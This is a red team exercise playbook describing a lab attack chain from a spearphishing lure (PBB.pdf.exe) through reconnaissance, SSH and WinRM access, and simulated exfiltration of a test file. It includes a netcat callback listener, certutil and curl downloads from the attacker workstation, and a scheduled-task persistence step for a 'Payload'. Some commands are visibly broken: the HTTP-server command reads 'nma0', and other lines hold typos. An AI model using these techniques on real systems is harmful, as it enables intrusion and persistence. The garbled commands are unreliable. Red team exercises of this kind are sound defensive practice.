RED TEAM PLAYBOOK

Exercise: Spearphishing to Data Exfiltration

Exercise ID: RT-PLAYBOOK-001
Environment: Kali Linux, Windows 10/11, Windows Server / Active Directory
Monitoring: Wazuh, Sysmon, Windows Security Logs
Network: 192.168.216.0/24
Red Team workstation: 192.168.216.170

PART I — PRE-EXERCISE CHECKLIST

Before starting, confirm that the White Cell has approved all target systems and test accounts.

1.1 Lab asset list

Asset	IP address	Purpose
Kali Linux	192.168.216.170	Red Team workstation
Windows workstation	192.168.216.x	Initial-access target
File server	192.168.216.167	Lateral movement target
Exercise HTTP server	Kali TCP 8000	Benign artifact delivery
Callback simulator	Kali TCP 4445	Initial-access validation

Replace 192.168.216.x with the actual workstation IP.

1.2 Confirm the required tools

On Kali Linux:

```
ip addr
nmap --version
nc -h
python3 –version
```

On the Windows target:

```
whoami
hostname
ipconfig
curl.exe --version
certutil -?
ssh -V
```

Some commands, such as ssh -V, require the Windows OpenSSH client to be installed.

1.3 Rules for the exercise

- Use disposable lab VMs or snapshots.
- Use a designated test account and synthetic credentials.
- Use a harmless test file for HTTP downloads and file-collection testing.
- Do not use real classified information, production passwords, or live credential hashes.
- Record each phase's start time, end time, and evidence.
- Stop if an unexpected or out-of-scope system is reached.

SCENARIO 1 — MALICIOUS EMAIL / INITIAL ACCESS

Objective: Simulate the initial-access stage and determine whether endpoint and network controls detect the activity.

Step 1 — Prepare the phishing simulation

The Red Team prepares a simulated spearphishing email with an attachment named:

PBB.pdf.exe

The attachment is used only in the approved test environment. Use a harmless simulator rather than an executable that establishes an uncontrolled remote shell.

Step 2 — Start the callback validation listener

On Kali Linux:

nc -lvnp 4445

This starts a TCP listener on port 4445.

Important: A listener only waits for a connection. It does not create the connection or automatically execute a payload on the target.

Step 3 — Conduct the approved user interaction

1. Deliver the test email to the designated account.
2. Have the test user inspect the message and attachment.
3. Record whether the attachment was downloaded or blocked.
4. Run the approved callback simulator.
5. Observe whether the expected connection reaches Kali.

Step 4 — Validate the target identity

On the authorized Windows workstation:

whoami
hostname
ipconfig

Record the username, hostname, and IP configuration through the approved validation method.

Step 5 — Record the results

Check	Result
Email delivered	Pass / Fail
Attachment downloaded	Pass / Fail
Endpoint protection alert	Yes / No
Callback observed	Yes / No
Wazuh alert generated	Yes / No

Expected outcome: The Red Team establishes whether the simulated initial-access activity was detected and whether outbound network monitoring is functioning.

SCENARIO 2 — FOOTHOLD / CREDENTIAL DISCOVERY

Objective: Determine whether exposed credentials and remote-access services create an additional access path.

Step 1 — Enumerate accessible directories

On the authorized Windows test workstation:

whoami
cd
dir
Inspect only the directories included in the exercise scope.

Step 2 — Inspect the planted credential file

The exercise controller places a file named credentials.txt in a designated test directory.

Display the file:
type credentials.txt
Example test-file format:
username: labuser
password: <synthetic-lab-password>
The values above are illustrative. Use the credentials supplied by the exercise controller.

Step 3 — Identify whether SSH is available

From Kali, test the approved workstation address:

nmap -sV -p 22 192.168.216.x

Interpret the result:nam

- open: a service accepts connections on the port.

- closed: the host responds, but no service is listening on the port.
- filtered: scanning cannot determine the port state reliably because traffic is being filtered.

Step 4 — Validate SSH accessss

If SSH is an approved test path, validate access using the designated synthetic account:
ssh labuser@192.168.216.x
Use the lab password when prompted. Do not place passwords directly in command history.
If authentication fails, verify the username, SSH service status, routing, and firewall policy.

Step 5 — Document the result

Record:

- Location of the planted credential file.
- Whether the file was readable by the test account.
- Whether TCP port 22 was open.
- Whether SSH authentication succeeded.
- Whether Windows or SSH logs recorded the attempt.

Expected outcome: The team determines whether a planted credential file and an exposed remote-access service could enable additional access.

SCENARIO 3 — INTERNAL RECONNAISSANCE

Objective: Discover authorized lab assets and identify exposed services.

Step 1 — Confirm the target subnet
The approved scan range is:
192.168.216.0/24
This includes addresses from 192.168.216.0 through 192.168.216.255, although not all addresses represent usable hosts.
Step 2 — Discover live hosts
From Kali Linux:
nmap -sn 192.168.216.0/24
Review the output and record the responding hosts.
Step 3 — Identify service versions
Run service detection against the approved subnet:
nmap -sV 192.168.216.0/24
If the exercise controller authorizes vulnerability scripts, test the specific approved hosts rather than blindly running intrusive checks across the network.
Step 4 — Build an asset inventory

IP address	Hostname	Open port	Service	Follow-up
192.168.216.170	Kali	8000	HTTP test server	Verify scope
192.168.216.x	Windows workstation	Actual result	Actual result	Investigate
192.168.216.167	File server	Actual result	Actual result	Investigate

Replace illustrative values with actual scan results.

Step 5 — Correlate findings

Determine whether the discovered services match the authorized asset inventory.
Look for:

- Unexpectedly exposed remote-management services.
- Services running on unnecessary ports.
- Outdated software requiring verification.
- Systems reachable from an ordinary workstation subnet.

Expected outcome: A documented list of in-scope assets and services, with suspicious scanning activity available for Blue Team review.

SCENARIO 4 — CREDENTIAL ACCESS / ARTIFACT DELIVERY

Objective: Test whether endpoint controls detect credential-access simulation and whether HTTP artifact transfers are monitored.

Step 1 — Start the HTTP server on Kali
Create a directory for harmless exercise files:
mkdir -p ~/redteam-share
cd ~/redteam-share
Create a test file:
echo "Authorized Cyber Range Test File" > lab-test.txt
Start the HTTP server:
nma0
Keep this terminal open.
The server makes files in the current directory available over HTTP. Use this service only on the approved lab network.
Step 2 — Download the test file on Windows
Choose either method below.
Option A — Using curl.exe
curl.exe -f -L -o lab-test.txt http://192.168.216.170:8000/lab-test.txt
Option B — Using certutil.exe
certutil -urlcache -split -f http://192.168.216.170:8000/lab-test.txt lab-test.txt
Both commands download the same benign test file. certutil.exe is normally built into Windows, so a separate installation is generally unnecessary.
Step 3 — Verify the downloaded file
On Windows:

type lab-test.txt
The expected content is:
Authorized Cyber Range Test File
If the download fails, check that the Kali HTTP server is running, the file exists in its serving directory, the IP address is correct, and the lab firewall permits TCP port 8000.

Step 4 – Create a Task Scheduler on the Download file using CMD

schtasks /Create /TN "taskname" /TR "\"C:path of Payload\"" /SC MINUTE /MO 5 /F

Step 5— Conduct the credential-access simulation
Use the exercise controller's approved credential-access simulator and synthetic accounts.
The simulation should evaluate whether the endpoint detects attempts to access protected authentication processes or other credential stores.
Do not extract real passwords or NTLM hashes from the Windows workstation.
Step 6 — Review security telemetry
The Blue Team should inspect:

- Endpoint protection alerts.
- Wazuh alerts and agent status.
- Sysmon process-creation and process-access events, where configured.
- Windows Security logs associated with the test.
- HTTP server logs from Kali.

Expected outcome: The Red Team confirms that artifact delivery works and determines whether credential-access simulation triggers the expected alerts.

SCENARIO 5 — LATERAL MOVEMENT TO THE FILE SERVER

Objective: Determine whether the designated test account can access the file server and whether remote-management controls detect the attempt.
Target file server: 192.168.216.167
Step 1 — Verify reachability
From Kali:
nmap -sn 192.168.216.167
Check whether the host responds.
Step 2 — Identify the approved remote-management service
For a Windows file server using WinRM, the usual ports are:

- TCP 5985 — WinRM over HTTP.
- TCP 5986 — WinRM over HTTPS.

Check only the approved ports:
nmap -sV -p 5985,5986 192.168.216.167
An open port does not guarantee that authentication will succeed or that the account has permission to access the server.

Step 3 — Validate authorized remote access

Use the dedicated lab account and the approved remote-management client. For this exercise, do not use extracted NTLM hashes or stolen credentials.

The test should establish:

1. Whether the intended service is available.
2. Whether the synthetic account is authorized.
3. What permissions the account receives.
4. Whether the connection is logged and detected.

Step 4 — Review the result

Record:

Validation	Result
File server reachable	Pass / Fail
WinRM service available	Pass / Fail
Approved account authenticated	Pass / Fail
Access permissions appropriate	Pass / Fail
Blue Team alert generated	Yes / No

Expected outcome: The team establishes whether the file server is exposed to inappropriate remote access and whether authentication and administrative activity are visible to defenders.

SCENARIO 6 — FILE COLLECTION / EXFILTRATION SIMULATION

Objective: Test controls that monitor sensitive-file access and outbound data transfers.

Step 1 — Prepare the exercise document

The exercise controller places a clearly marked, synthetic document named:

Top_Secret.pdf

The file must contain test data only. It must not contain actual classified or operational information.

Step 2 — Locate the authorized test file

Using the approved file-server access method, locate the designated exercise document.

Record:

- File path.
- File name and size.
- Account used to access it.
- Access timestamp.
- Whether the file was successfully read.

Step 3 — Simulate collection

Use the approved collection method to copy the designated test document to the authorized Red Team collection directory.

For a transfer exercise, the destination may be a dedicated directory on Kali, such as:

/home/kali/Desktop/exercise-evidence/

Use only the controller-approved file and destination. Record the transfer attempt and its outcome.

Step 4 — Verify the exercise artifact

On Kali, verify the collected file using:

ls -lh ~/Desktop/exercise-evidence/

If the file was collected successfully, record its size and hash for evidence integrity:

sha256sum ~/Desktop/exercise-evidence/Top_Secret.pdf

A matching source and destination hash helps verify that the test file was transferred without alteration.

Step 5 — Evaluate the result

The Blue Team should determine whether it detected:

- Access to the designated file.
- Unusual file enumeration or collection.
- An unexpected transfer destination.
- The transfer itself, if monitoring was configured.
- Any attempt blocked by endpoint or network controls.

Expected outcome: The exercise measures whether file access and simulated exfiltration can be detected, investigated, and contained.
